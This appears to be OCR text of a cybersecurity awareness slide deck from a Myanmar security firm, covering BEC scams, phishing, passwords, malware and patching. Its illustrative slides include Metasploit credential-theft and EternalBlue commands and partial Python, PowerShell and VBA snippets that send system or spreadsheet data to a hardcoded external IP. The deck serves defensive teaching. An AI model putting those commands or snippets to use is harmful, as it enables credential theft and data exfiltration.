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About Us

24/7 cyber fusion center, operating from 2,000 square feet Security Operations

.. : : - Detect, respond, and remediate cyber incidents using stabé-
office in MICT Park. Established in 2014, Head quartered In the-art technology and a welestablished incident response

Yangon, Myanmatr. process

20230perations Security Engineering

Enhance protection, detection, and response capabilittésough
SOC Subscribers the use ofstate- of-the-art technology and in accordance with
Industry benchmarks.

Network & Endpoint Sensors
Security Assessment

_ _ Uncover vulnerabilities and exposures through a thorough
Security Incidents Per Months testing methodology and realworld attack vectors.

Digital Forensics Information Assurance

Assess risk factors and enhance cyber security program based

_ _ on proven industry best practices.
Security Assessment Projects
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Fleld Notes
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(Securlty Operations Center
MDR ’
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Detection & Threat Hunting
Response . )
> Post Incident Reports
¥ [ T1T | ' |
A Root Cause Analysis
. \ A Lesson Learned
DFIR r ] A Recommendations
Digital Forensic
\ Incident Response ) /
\
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It IS better to be a warrior In a garden

than a gardener in a watr.
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Agenda

ACybersecurity Threat Landscape

AUnderstanding and protecting everyday cyber threats
A Passwords
A Phishing
A Malware
A System Security
A Incident Reporting

AStrategy and Tactics
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Bank Cyber Helst

ANearly USD 1 Billion attempted

AUSD 81 millions lost

THE BILLION-DOLLAR BANK JOB

In 2016, a mysterious syndicate tried to steal $951 million from
Bangladesh’s central bank - and laid bare a profound weakness in
the system by which money moves around the world.
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Data Breaches

2022 | .
llt]rﬂn’[uc’r
daiac B - Thailand
38,000,000 Rﬂfg . T_Mﬂblle visitors
. . 100,000,000
Twitch
— Facebook - Shanghai : Bt & 20
-~ Xperian Police D

220,000,000 i

Microsoft

250,000,000
- i o Syniverse

db8151dd
139,000,000 ' p——

2020 Dubsmash » } | Pakistani o

s | mobile @
162,000,000 ’

| R - — operators
Bﬁ\ * _ - In Fﬁﬂﬂ 115,000,000
\' — | cifizens
Bricne apita ,
W == “One Facebook 275000000

Mfm 100,000,000 420,000,000 O){YDGfG
2015 19 A ‘-

380,000,000 VouNon

Apollo Chinese Quora
Fresume 100,000,000 Ticketfly
200.000.000 o o A

TLP:AME Kernellix Co., Ltd. | Confidential




Attack Patterns

0% 20% 40% 60% 80% 100%

83% of breaches involved external 4

actors (n=5,177) Major Patterns

74% of breaches involved a human element
(n=4,482)

75 % Breaches involved human elements

49% of breaches involved credentials
(Nn=4,390)

A9 04 Breaches involved credentials

24% of breaches involved Ransomware
(Nn=4,354)

24 00 Breaches involved ransomware

0% 20% 40% 60% 380% 100%
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Attack Pattern Trends

40% Syst I t"

Social Engineering

30%

20%

Miscellaneous Errors - .
10% S —

__ Privilege Misuse _*

— —

Everything Else T
2017 2019 2021 202¢
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BEC

Ransomware
SWIFT Transfer

Motives
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Personal Information
Customer Information (KYC)
Sales Transactions

Financial Information
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Privacy and Pl

Personal Information A Pl Data has much longer shelf life than bank card/accour

Customer Information (KYC) information.

Sales Transactions A CC/Debit card has shelf live of months if not weeks.

Financial Information A Name, NIRCDoB, have shelf life of years.

A Biometrics, Customer Information (KYC)
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Threat Landscape Myanmar

Domestic Threats

Foreign/Global Threats

Opportunistic

=

Data Breach / Theft / Fraud

A Compromise of PII

A Compromise Corporate confidential information

A Financial loss

-

Targeted,
Advanced &
Persistent

o B0 Io o I»

“Thrill / Skill

Compromise of PlI
Compromise of corporate
confidential information
Reputational Damage

A Social Media
Financial Loss
Extend/Expose to APT

Data Breach

A Compromise of PlII

A Compromise Corporate confidential information

( ) (
Ransomware B
A Interruption in critical A

business operations
A Compromise of PW A
A Compromise of corporate A
confidential information
L J L

EC

Financial loss in USD
Millions

Compromise of PH
Compromise of corporate
confidential information

p

Espionage

A Compromise of Pl

A Compromise of
corporate
confidential
iInformation

\
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Initial Access

RDP Brute

force

Credential Theft

Mimikatz

Ransomware

Lateral Movement

Cobalt Strike

Vulnerable
Internet Facing
System

LSA Secrets

WMI

Phishing

Credential
Valuts

Management

Tools

Credentials In
Plaintext

PsExec

Service
Account Abuse
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Persistence

New Accounts

GPO Changes

Shadow IT
Tools

Schedule Task

Payload

LockBit

CrySIS

Ryuk

Service

Registration

WannaCry
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By Victim Loss

Crime Type

Investment

BEC

Tech Support

Personal Data Breach
Confidence/Romance

Data Breach

Real Estate
Non-Payment/MNon-Delivery
Credit Card/Check Fraud
Government Impersonation
ldentity Theft

Other

Spoofing

Advanced Fee

53,311,742,206
$2,742,354,049

5806,551,993
5742,438,136
5735,882,192
5459,321,859
5396,932,821
5281,770,073
5264,148,905
5240,553,091
5189,205,793
5117,686,789
5107,926,252
5104,325,444

IC3 Report 2022

Lottery/Sweepstakes/Inheritance

SIM Swap

Extortion
Employment

Phishing
Overpayment
Ransomware

Botnet

Malware
Harassment/Stalking
Threats of Violence
IPR/Copyright/Counterfeit

Crimes Against Children
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583,602,376
572,652,571
554,335,128
552,204,269
552,089,159
538,335,772

*534,353,237

517,099,378
59,326,482
55,621,402
54,972,099
54,591,177

5577,464

FEDERAL BUREAU ?f INVESTIGATION
Internet Crime Report

USD 2.7 Billions

Business Email Compromise
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A Fraudster
sends email to
the target posing
as the
suppliers/service
provider

BEC Scam

A Fraudster
iInform a target a
change in the
payment details
Update Account
Number

Fraud

"2/
Il

FiInance manager
made payment to
new account
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Finance manage
noticed a fraud
when the real

supplier calls for

unpaid fees
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BEC Scam

Stages

Internal
Reconnaissance

Establish
Foothold

Initial
Compromise

Evasion Fraud

PPhishing P Additional Accounts PMailbox rules Pldentify key players P Account Information

PPassword guessing Phishing PForward Pldentify communication Update requests

P Credentials Database Pinternal/External Users PMail Clients patterns P Fraudulent transfer
PEmail Forwarding PVPN requests

P Set up access tokens
PApp Passwords
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BEC Scam

Most of the BEC scams in Myanmar are not reported.

Financial loss ranging from USEens of thousands

to USDhundreds of thousandsper scam.

Kernellix Co., Ltd. | Confidential
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Phishing

Phishing Susceptibility Percentage

o IT Admin <itadmin@athinchay.freecuponnow.com>

Sun 08/23/2020 03:14 PM
To: Kyaw Kyaw

Dear Kyaw,

We are updating and performing monthly maintenance for our email
services. Recently we found out that there is an External Mail Delivering 20 % to 30 %

issue in your mailbox.

Please click here to log in to...

Before Awareness Training

£

A file was shared with

Here's the document that was shared

Invoices. MARCH 2021 updated 270919

Outlook'Web App

User narne:

Passumord:

o 5% 1o 15 % After Awareness Training

S~

This link only works for the direct recipients of this mess

Kernellix Co., Ltd. | Confidential 19



Advanced Threats Targeted
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Pragmatic Digital Security

Secure

Cost Effective Convenient



Digital Security Fundamental

Confidentiality

PKeeping secret & private

Inteqgrity

PKeeping accurate & reliable

Avallabllity

PKeeping accessible and reliable

Kernellix Co., Ltd. | Confidential
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Wearables

MON TUE WED

Wiaelehe (= - e
Weekly Goal Progres
Jun 03 - Jun 09 ’ ’ =

134% or 70.000

Recent Exercise June 09 This Week's Activity

20000
TIME ASLEEP >
3 nrs 9 mins
e,
TUE WED THL : SAaT
Jun 05 - Jun N
SLEEF STAGES > 69,296 of 70.000
.IE-":- .'I:.'ul'.lr.:-l-" E 16
17 mins
REM
40 mins >
1 hrs 48 mins
=Ll "‘.'M 6 O bom
1 mins resting heart rate
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YouTube Watch History

B Youlube

Watched Classical Music for Working | Chopin, Bach, Satie...

HALIDONMUSIC

16:20 - Details

17 October

B YouTube

Watched The Very Quiet Cricket (The Very Hungry Caterpillar
& Other Stories)

lluminated Films

17:04 - Details

The Very Hungry Caterpillar - Animated Film

B YouTube e@ llluminated Films

@’ 586K subscribers

Watched The Very Hungry Caterpillar - Animated Film

lluminated Films

16:56 « Details

TLP:AME Kernellix Co., Ltd. | Confidential

b 572K

ca £ Share

{ Download

=+ Save
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Browser History

4:39 PM

436 PM

249 PM

1:51 PM

113 PM
1:00 PM
12:3% PM

12:49 PM

G

Prime Video: Chicago PD  www.primevideo.com

Classical Music for Working | Chopin, Bach, Satie... - YouTube www.youtube.com

T

EEI“E@ condenIgIane - Google Search  www.gooale.com
2 o [ 4 -googie.

Kaung messaged you

Messenger | Facebook

Muay Thai Shin Guards -

www. facebook.com

www.facebook.com

Fairtex Official www . fairtex.com

fairtex shin - Buy fairtex shin at Best Price in Thailand | www.lazada.co.th www.lazada.co.th

decathlon - Buy decathlon at Best Price in Thailand | www.lazada.coth www.lazada.co.th

LL L

LT

LT

LLL S

L

LT

LT

LD LS

decathlon shin guards - Google Search

google.com/search?g=decathlon+shin+guards&sourceid=chrome&ie=UTF-8

Shin Pads & Guards | Adult & Kids Shin Pads | Decathlon
decathlon.co.uk/browse/c0-sports/c1-football/c3-football-shin-pads/_/N-1cg52li

19 hours ago

19 hours ago
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Meta Data

X Info

Add a description

DETAILS

B 11 Apr 2017
Tue, 11:01 GMT+06:30 =

Wan Ngot -
___ 8D Village

o

IMG_20170411_1101167.jpg A
=~ 13MP 4160x3120 3.8 MB

-Tawtao
San Pya 7'
pauk Maing
® BlackBerry STH100-1 ol (G Dawi-ho
f/l2 1/1366 3.8 mm ISO100
: . Wankangna '
T, Uploaded from an Android device e, &8
| - kul
19.544786, 97.398747 SR
Dawhkaw-aw
= L= - - < Opf
7\ r ) =
° L. ) 1/(9: )\l ¥ \) l/ ) ®
N NV S 4
Directions Save Nearby Send to your Share +
pnone

Dawhso-klé -
Chenglwa ;
()  shadaw (South), Myanmar (Burma) Google w
Man dasa 279021 IndAanas s Tarma Privamu Cand faardha~k Sk 1
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Internet of Things
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Digital Wellbeing &
parental controls

iIl:  Your Digital Wellbeing tools

Other
/ Teams

Facebook TODAY

4 hr, 47 min

Prime Video YouTube

Gmail\

27 204

Unlocks Notifications

YT Music

Ways to disconnect

Dashboard

No timers set

Bedtime mode
Off / Turns on at 11:00 PM

Mobile Devices

°o ®» 9 @

citi

©@ B

Dashboard

Teams
1hr, 3 min

YouTube

52 minutes

YT Music

34 minutes

Gmail
33 minutes

Prime Video
31 minutes

Facebook
30 minutes

Chat

8 minutes

Messenger
8 minutes

Citibank SG

6 minutes

Viber

6 minutes

Kernellix Co., Ltd. | Confidential

Screentime C

4h 48m

Teams

YouTube

34m YouTub...
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nttps://myactivity.google.com/myactivity ©

0@

My Google activity

The activity that you keep helps Google make services more useful for you, like helping you
rediscover the things that you've searched for, read and watched.

You can see and delete your activity using the controls on this page.

Web & app activity Location History YouTube History

© Off > © off > & on )

TLP:AME Kernellix Co., Ltd. | Confidential 30



Passwords

Keys to our Digital Life

g ™M

yahoo/muail




© N o O s~ w b E

Passwords

Quiz: Choose the Secured Password from the Below 1 to 8.

mesorgmm@123
Welcomel23
PasswordO1

StrongP @sswOrd
Password2023
19801211
Rp$9rggmfpt3Ng%xRrTk

lloveyou3000

Kernellix Co., Ltd. | Confidential
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Leet Speak

Replacing Alphabets with Characters and Symbols

0000

3 1 0 5
8 & £ Q 5
13 £ 7 () z
3 € B oh 3
A R & | 1 ehs
aye -~ [- D es
(L | =- <> 2
4 %
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Bad Password Hygiene

AWeak Passwords AlLeet Speak

A 1234 = w3@r3eng! @#
AShort, Guessable, Common weareeng w3@r3eng!@#3

AWriting it down on the paper AReuse

AWork Email. Social Network,

A Stick Notes, text files |
Personal Emall

ASharing your password ARecycle

AWith colleagues, friends, family A ho@eng@2023

A ho@eng@2024

TLP:AME Kernellix Co., Ltd. | Confidential



Passwords

Attackst Building Wordlist

Terminal - fahad@Fahad: ~/cupp

Tools to build possible passwords based on few Inputs:

File Edit View Terminal Tabs Help

-1 Download huge wordlists from repository _
-3 Parse default usernames and passwords directly from A Name/Nick NamebDoB

Alecto DB. Project Alecto uses purified databases of

Phenoelit and CIRT which were merged and enhanced A Partner Namen\“Ck NamEDOB

-V, --version Show the version of this program.
A Child name/Nick NameDoB

-q, --qulet Quiet mode (don't print banner)
fahad@Fahad: $ python3 cupp.py -1

: Iommon
et APet Ns name, Soccer
arofiler

A Company Name

[ Muris Kurgas | jOrgan@remote-exploit.org ]
[ Mebus | https://github.com/Mebus/]

A Additional Keywords

You are using Modified and Improved Version of CUPP.
[ Fahad Mustafa | https://github.com/lynxmk ] A Year81

[+] Insert the information about the victim to make a dictionary A LeetMOde

[+] If you don't know all the info, just hit enter when asked! ;)

> First Name: A a= @, S = $, Oo = Zero

TLP:AME Kernellix Co., Ltd. | Confidential



Collection #1

Passwords

Password Reuse

In January 2019, a large collection of credential stuffing lists (combinations of email addresses and passwords used to hijac

accounts on other services) was discovered being distributed on a popular hacking forum.

The data contained almost 2.Billion records including 773 million unigue email addresses alongside passwords those

addresses had used on other breached services. Full details on the incident and how to search the breached passwords are

provided in the blog post

The 773 Million Record "Collection #1" Data Breach.

Breach date:7 January 2019
Date added to HIBP16 January 2019

Compromisec

Compromisec

accounts772,904.991

dataEmail addresses, Passwords

Kernellix Co., Ltd. | Confidential 36
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¥
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Breach Database

havelbeennpwned

736 12,860,396,625

pwned websites pwned accounts

Largest breaches

Collection #1 accounts
Verifications.io accounts
Onliner Spambot accounts

Data Enrichment Exposure From

PDL Customer accounts

Exploit.In accounts
Facebook accounts
Anti Public Combo List accounts

River City Media Spam List

accounts

g Mmyspace My5Space accounts

Wattpad accounts

115,765 228,881,530

pastes paste accounts

Recently added breaches

Kaneva accounts
Gemplex accounts
Movie Forums accounts
loyGames accounts
RailYatri accounts
SoarGames accounts

G0 Ninja Go Ninja accounts

estante

- Estante Virtual accounts
virtual
LI EORTS Bleach Anime Forum accounts

b IndiHome accounts

Kernellix Co., Ltd. | Confidential
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Password Best Practices

Password /Pass Phrase

Choose a new password

Banana 21drive elephant Sitting plano
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. O
Password Best Practices

2 FA

A Enable 2FA for your important account Google Authenticator :

A Enable TweFactor Authentication

A In addition to password, onetime password OTP 137 130
IS required to login hikingfan@gmail.com [
A OTP
A is sent via mobile, SMS 799 210
surfingfan{@gmail.com 4

A Is generated by hardware token

A Reduces the risk of

A Account compromise via stolen/weak

passwords

TLP:AME Kernellix Co., Ltd. | Confidential 40



Password Best Practices

Unique Passwords

A At least the important accounts

A Laptop/Computer

A Personal Email

A Office Email

A Social Media Accounts
A Facebook
A LinkedIn

ARemembering 3 passwords is easier compared to accosntmpromised

Incident

TLP:AME Kernellix Co., Ltd. | Confidential
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Password Best Practices

A If you must use a password manager, be sure to

use secure password Manager

Ui Logins & Passwords

A Do not use password manager if you can coa

A If you must,DO NOTuse browser remember B Firefox Lockwise

password function Sortby: Name(A2) v

accounts.google.com
yett@kernelloc.com

facebook.com
yethura.thet@gmail.com

login.microsoftonline.com
ye tt@athichay.com

TLP:AME Kernellix Co., Ltd. | Confidential

@ Firefox  aboutilogins

Search Logins

) facebook.com

Website address

https.//www.facebook.com

Lsername

yethura.thet@gmail.com

Password

hackercan-see-this &

42



How can they steal?

run post/windows/gather/ enum_chrome

run post/multi/gather/ firefox_creds

Kernellix Co., Ltd. | Confidential
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Phishi

Br 27.04.2021 15:52

Marc Ferrer < >

Teams Meeting

To

ﬁ If there are problems with how this message is displayed, click here to view it in a web browser.

Microsoft Teams meeting

Dear

You are invited to attend an emergency meeting this afternoon to discuss urgent decisions on Wuhan Open paymer

https://www.whatismybrowser.com/

Join Microsoft Teams meeting
|_ Meeting options | Q

Sharepoint <

A file was shared with you

A file was shared with you

Invoices. MARCH 2021 updated 270919

TLP:AME

Here's the document that was shared with yol

This link only works for the direct recipients of this messaj

N

dential

OutlookWeb App

ser narme:

Passward:

Because you're accessing sensitive info, wou need to werify wour password

(® signin

H> SharePoint

Confirm ldentity to Prove You are not a Robaot

Email Address

Enter Paszword

COMTIMUE
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Phishing

A Social Engineering attacks that lures the targets

by exploiting psychological factors such as

A Fear, Rewards

A Urgency
A Sympathy, Curiosity
A Threat actors sends email to the target, tricking

him/her to:

A Open an attachment

A Click a link

A Disclose Information
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©

!."" AJ ’
' ‘Jl.’.. :

¥ City Mart 25th Anniversary! ] 13 August, 2021

Phishing

Congratulations!
AThere ale feW Vanathn Of phlShlng Today, you have been chosen to participate in our

survey. It will only take you a minute and you will
receive a fantastic prize!

attaC kS/SO C I al e n g | n e e rl n g a_ttaC kS Each week we randomly choose 100 users to give them

a chance to win amazing prizes. A gift card worth 800
Euro! There will be 100 lucky winners.

A S pear P h |S h | n g This survey aims to improve the quality of service for
our users and your participation will be rewarded 100%.
A Targ et. Custom Message You only have 4 minutes and 03 seconds to answer
! this survey!
- Hurry up, the number of prizes available is limited!
A Whaling

Question 1 of 4 : Do you know City Mart ?

A Targets top executives CEO, CFO, CIBgD

yes

A Vishing/Smishing

A Use Phone Calls
A Angler Phishing regarding the COVID-19 safetyline
symptoms and when to get tested
A Use Social Messaging platform in your geographical area. Visit
https://covid19-info.online/

You've received a new message
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Phishing

How to Protect

Your EMS Package

EMS Orders <ems@delivery.athinchay.info>

Dear
Your package arrived at the post office. Here is your Shipping Document/Invoice and copy of EMS receipt for your tracking.

Please kindly check the attached to confirm accordingly if your address is correct before we submit to our outlet office for dispatch to your destination.
-

Track your package h
dsaadlink in new tab

Open link in new window

Regards, Open link in incognito window
Package Delivery Dej

EMS Branch Office Save link as...

Yangon, Myanmar Copy link address
Inspect Ctrl+Shift+I
. Reply ®» Forward

v

https://emsdelivery.badwebsite.cont?rid=fasbyHo

Kernellix Co., Ltd. | Confidential
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Phishing

How to Protect

AAlways check the sender

ANot just the display name but the email address

AAlways verify the link in the email

A Always right click on the link, copy link address, and enter the URL in the

browser address bar

AVerify the link before visiting the site

TLP:AME Kernellix Co., Ltd. | Confidential
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Phishing

Verify the Address

Read the Address from right to left

IT Admin <itadmin@athinchay.freecuponnow.com>
Sun 08/23/2020 03:14 PM

To: KyawKyaw

Dear Kyaw,

We are updating and performing monthly maintenance for our email

services. Recently we found out that there Is anExternal Mail Delivering
ISsue In your mailbox.

Pleaseclickheret o | og 1 n t oé

x

The emall Is sent fromfreecuponnow.com  NOT

itadmin@athinchay.freecuponnow.com
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Phishing

Verify the Address

Beware of the similar address

Chairman<chair@mes.info>
Sun 08/23/2023 05:11 PM

To: Kyaw Di Lynn

Dear All,

We are engaging with McKinsey Myanmar to optimize our Business
Contingency Planning, BCP, to respond to current situation better.

Please registerhere for the event timely to prepare the necessary

arrangement

x

mes.info  NOT

chariman@mes.info

Kernellix Co., Ltd. | Confidential

50



myanmar-es.info

myanmar-es.info

ﬁ I@ Auctions

Suggested Results
wy myanmar-es.com

myanmar-es.org

myanmar-es.bot

o

=/

myanmar-es.net

Phishing Campaign S

% Handshake &? Generator “& Beast Mode

$3.48/yr
Retail $19.98/yr

$9.98/yr

O gophish

Retail $13.98/yr

Dashboard

Recent Campaigns

Kernellix Co., Ltd. | Confidential
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Social Engineering

Call when in Doubt

When in doubt, call the person

A When your partner:
A Update the beneficiary bank account number

A Remind you of the bill you have not paid

A Partner, Boss, CEO urging/rushing you to:
A Transfer funds
A Give information
A Send files

Do not call the number in the email signature

Kernellix Co., Ltd. | Confidential
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Malware

Capabllities

A A short for Malicious Software AlIn general, Malware enables a threat

ANumerous family of malware varying actor to

capabilities A Control your computer

A C2 bots A Utilize your computing power and

A Cryptominers network

A Ransomware, Spyware A Steal information from your computer

A Trojans, Viruses, Worms A Destroy information on your computer

and network
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< App permissions

Allowed

© Location
Y Microphone

% Phone

Not allowed

[k Camera
@ Contacts
‘!X Notifications

]  Photos and videos

Unused app settings

Pause app activity if unused
Remove permissions, delete temporary files,

and stop notifications

@

< App permissions

N

MPT4U

Allowed

[k Camera

® Location

Permission

App permissions

O

Signal

Allowed
%« Phone [k Camera
Not allowed = Contacts
— Accessed in past 24 hours
[2) Contacts
¢ Microphone
¢  Microphone
® Notifications
X Notifications
. Phone
Unused app settings I Photos and videos
Pause app activity if unused
Remove permissions, delete temporary files, D Not allowed

Kernellix Co., Ltd. | Confidential

: e App permissions
B
KBZPay
Allowed
[k Camera
@ Contacts
¢ Music and audio
Is]  Photos and videos
Not allowed
© Location
¢  Microphone
X Notifications
%« Phone
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Malware

Top 10 countries with the largest number of Top 10 detected threats (verdicts issued by the
threats of selected type (exploits). security solution) for month.
Republic of the Union of Myanmar 1 ExploitWin32.CVE-2011-3402.a 31,49%
2 Martinique 1,34% 2  Exploit.Python.Agent.w 12,87%
3  Federal Democratic Republic of Nepal 1,24% 5 Expleit.MSOffice.CVE-2017-11882.gen 9,36%
4 Canada 1,23% 4 Expleit.Win32.ShadowBrokers.ae 9,23%
5  United States of America 1,20% 5  Expleit.MSOffice.CVE-2018-0802.gen 8,69%
6 Socialist Republic of Vietham 1,18% 6 Expleit.Win32.MS05-036 2,04%
7 Republic of Niger 1,13% 7 Expleoit.OLE2. Wahel.a 1,86%

https://statistics.securelist.com/vulnerability- scan/month
TLP:AME Kernellix Co., Ltd. | Confidential



Malware

How do you get Iinfected

AClicking a malicious link in an email

AOpening an attachment in an email

A PDF, Words, Excel
A Zipped File

APlugging in infected USB Drives

ADownloading and installing a software form the untrusted source

A Malicious software pretending to be a software

A 3 party applications (APK) for mobile

TLP:AME Kernellix Co., Ltd. | Confidential
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Malware

Protecting yourself

AUse endpoint security, (antvirus, anti malware)

AKaspersky, Microsoft Windows Defender, TrendMicro etc.

ADo not disable your endpoint security
ABe cautious when using USB Drives

ABe cautious when clicking link in emails

A Always right click on the link, copy link address, and enter the URL in the

browser address bar

TLP:AME Kernellix Co., Ltd. | Confidential
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requ

json

platform

system_

target_ip =
target_port

ests

():
info {
platform.system(),
: platfoxrm.version(),
: platform.architectusx
: platform.machine(),

: platform.processor(),

system_info

Fully UnDectable

() Copy code

powershell

() Copy code

# Function to gather system information

function Get-Systemlnfo {
$systemInfo = @{
"0S" = (Get-Wm1iObject -Clas
"0S Version"” = (Get-WmiObje
"Architecture” = (Get-WmiOb
"Machine" = (Get-WmiObject
"Processor" = (Get-WmiObjec

}

return $systemInfo | ConvertTo-

# Define the target IP address and
$targetIP = "18.142.238.104"
$targetPort = 1313

vba () Copy code

Sub SendDataToServer()
" Define variables
Dim URL As String
Dim DataToSend As String
Dim objHTTP As Object

' Set the URL and data to send
URL = "http://18.142.238.104:1313" ' Replace with your target IP a
DataToSend = ActiveSheet.Cells(1l, 1).Value & "," & ActiveSheet.Cel

' Create an HTTP object
Set objHTTP = CreateObject("MSXML2.ServerXMLHTTP")

' Open a connection to the server
objHTTP.Open "POST", URL, False

' Set headers (1if needed)
' objHTTP.setRequestHeader "Content-Type", "application/json”
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System Security

Adobe Acrobat DC Updater

}ﬁ Update is available

Updating Adobe Acrobat DC (15.007.20033)

This update addresses customer issues and security vulnerabilities. Adobe
recommends that you always install the latest updates.

You can continue working while download is in progress.

Details

Download Close
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Zero-day (Oday)

$2,500,000
A Android full chain (ZereClick) with persistence (New Entry)

$1,500,000

A WhatsApp RCE + LPE (Ze®lick) FCP: Full Chain with Persistence

RCE: Remote Code Execution
LPE: Local Privilege Escalation

$1,000,000 sBA: Sandbox Escape or Bypass
A Windows RCE(ZerClick)

B 05
B Android
H Any OS5

H Windows RCE: Remote Code Execution
$500,000 B macOs LPE: Local Privilege Escalation

B Linux/BSD | SBX: Sandbox Escape or Bypass

A Chrome RCE + LPE Any OS5

https://zerodium.com/program.htmi Kernellix Co., Ltd. | Confidential
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System Security

Patching / System Update

A Outdated System/Software with no security updates are vulnerable to

attack
A Hacking leverage the security flaws in the system

A Insecure system/software may enable threat actor take control of

your system

A All system/application are exposed to such attacks

A Operating Systems, Office Application, Web Browsers
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Web Browsers

Productivity/System

Operating Systems

System Security

Most Targeted Software

Kernellix Co., Ltd. | Confidential

<———> Java
OR’ACI_E

-
o

P
%4

2

63



System Security

Most Targeted Software

1.53%

3.34% _—\ um

4035;_/\

—55.81%
29.13%_—

@ office @ Browser Android @ AdobeFlash @ Java @ PDF

https://securelist.com/it - threat- evolution-in- q2- 2021- pc- statistics/103607/

Kernellix Co., Ltd. | Confidential
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System Security

Patching / System Update

A Automatic Update

A Configure the OS, Device, Application to download and install the update when available

A Android, iOS, Browsers, Productivity Software

A Fast, convenient, but may break functionality

A May be tricky to implement in large corporation

A Manual Update

A User/System Administrator download the update, verify and deploy the patch
A Provide more control for large corporation

A Can leverage patch management platform

TLP:AME Kernellix Co., Ltd. | Confidential
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System Security

NoO Action Why

1 Keep your system updated/patched when possible It Is very hard to hack updated system

2 Do not install software from unknown source. They could bi Malware/spyware can steal anything
malware/spyware they want.

3 Create Strong password for your computer and mobile Make It harder for your adversary to reac
devices the contents on your device without your

permission

4 Encrypt your storage Make it harder for your adversary to reac
Awindowst BitLocker the contents on your device without your
AApple/Mact Filevault permission
AAndroid, iO3 Enable passcode/ pattern lock

5 ALock your screen when you are away from your computer. Make it harder for your adversary to

Windows Key L

access to your information while you are
away.

Kernellix Co., Ltd. | Confidential
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How can they steal?

use exploit/windows/smb/msl17 010 eternalblue

Kernellix Co., Ltd. | Confidential
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Incident Reporting

A Security compromise is matter of WHEN

A Even the most secured of organizations are known to be breached

A Security incident is expected in organization

A If you suspect a cybersecurity incident, notify your organization IT help
desk.

A Establish procedure in advance so that everyone knows what to do when incident

OCCUTS.
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Incident Reporting

Suspicious Events

A Anti-virus Software Alerts
APassword no longer working

APop-up Windows on your
computer/browser

AClicked on suspicious links

Alnstalled suspicious software

| Security Help Desk

A Lost your office computer/mobile
devices

TLP:AME Kernellix Co., Ltd. | Confidential



16 Days

Dwell Time
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8 to 10 Days




Security Frameworks

B

Kernellix Co., Ltd. | Confidential

Essential 8

CSP



